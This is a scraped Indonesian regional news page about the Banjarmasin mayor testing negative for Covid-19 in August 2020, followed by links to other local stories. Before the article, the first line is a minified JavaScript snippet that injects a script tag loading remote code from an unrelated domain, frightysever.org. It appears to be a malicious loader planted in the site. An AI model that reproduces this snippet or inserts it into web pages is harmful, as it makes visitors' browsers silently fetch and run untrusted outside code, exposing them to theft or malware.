(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Setelah sempat kontak dengan Wali Kota Banjarbaru H Nadjmi Adhani yang belakangan terpapar Covid-19, Wali Kota Banjarmasin H Ibnu Sina melakukan pengambilan swab. Di mana, pengambilan swab pertama dilakukan pada 30 Juli 2020 lalu, dan yang kedua dilakukan pada Senin (3/8/2020) kemarin.
“Di sini ada surat resmi dari RSUD Sultan Suriansyah, yang menyatakan hasilnya swab 1 hasilnya negatif SARS-Cov-2,” kata Ibnu di Balaikota Banjarmasin, Selasa (4/8/2020) sore.
Pun dengan pengambilan swab kedua, hasil swab Ibnu pun juga dinyatakan negatif SARS-Cov-2. Ia menyebut, hasil swab kedua baru ia terima pada siang Selasa (4/8/2020).
Pengambilan swab pertana sendiri dilakukan di rumdin Wali Kota Banjarmasin di jalan Dharma Praja Banjarmasin. Sedangkan pengambilan swab kedua dilakukan di RSUD Sultan Suriansyah Banjarmasin.
Ditambahkan Ibnu, pengambilan swab hanya dilakukan untuk dirinya. Karena, ia mengakui sempat berkontak dengan Nadjmi, saat menghadiri kunjungan kerja Mendagri Tito Karnavian di Gedung Mahligai Pancasila Banjarmasin, pada 18 Juli 2020 lalu.
“Kemarin memang rekomendasinya ke saya saja. Karena yang kontak erat dengan pak Wali (Nadjmi) kan saya saat itu duduk satu meja,” bebernya.
Kendati begitu, Ibnu mengatakan saat menghadiri pengarahan dari Mendagri, seluruh peserta sudah mengenakan alat pelindung diri (APD). Seperti masker dan sarung tangan, guna meminimalisir penularan Covid-19.
“Kalau saya terpapar, semua harus diisolasi. Termasuk tim pendamping, bahkan Pemko ini harus disterilisasi. Tetapi hasilnya saya dinyatakan sehat dan negatif Covid-19,” lugasnya.
Ditanya apakah ajudan Ibnu dan tim humas juga menjalani pengambilan swab, ia menyebutkan bahwa mereka tidak menjalaninya. Karena disebutnya, tidak terjadi kontak langsung dengan Nadjmi saat itu.
“Karena kontaknya ke saya. Kalau misalnya clear, Insyaallah aman. Tapi kami minta saran Kepala Dinkes Banjarmasin selaku otoritas. Karena tidak bisa sembarangan swab, namun jika diperlukan kita persilakan,” tandasnya. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARBARU - Dua buah Rancangan Peraturan Daerah (Raperda) Kota Banjarbaru disahkan dalam rapat paripurna… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bentuk kepedulian terhadap masyarakat, Unit Binmas Polsek Banjarbaru Utara memberikan bantuan sebuah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More
KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puluhan peternak babi di Jalan Pandarapan RT 34 RW 5, Kelurahan Guntung… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More
This website uses cookies.